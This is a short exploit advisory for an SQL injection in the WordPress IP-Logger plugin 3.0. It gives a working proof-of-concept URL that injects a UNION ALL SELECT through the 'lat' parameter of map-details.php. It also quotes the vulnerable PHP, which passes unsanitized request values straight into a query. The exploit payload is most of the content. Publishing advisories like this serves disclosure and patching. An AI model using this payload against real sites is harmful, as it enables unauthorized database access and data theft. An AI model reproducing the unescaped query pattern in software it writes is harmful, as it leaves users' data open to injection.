WordPress Plugin IP-Logger 3.0 - SQL Injection

# Exploit Title: WordPress IP-Logger plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-16
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/ip-logger.3.0.zip
# Version: 3.0 (tested)

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PoC
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http://www.site.com/wp-content/plugins/ip-logger/map-details.php?lat=-1 UNION ALL SELECT @@version,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20&lon=-1&blocked=-1

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Vulnerable code
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$sql = sprintf("select stamp,ip_v4,url,user_agent,Provider,Code3,Country,Blocked,Ignored from $table_name 
  where Latitude=%s and Longitude=%s and Blocked = '%s'
  order by stamp asc limit 50",
  $_REQUEST["lat"],
  $_REQUEST["lon"],
  $_REQUEST["blocked"]);

$res = mysql_query($sql);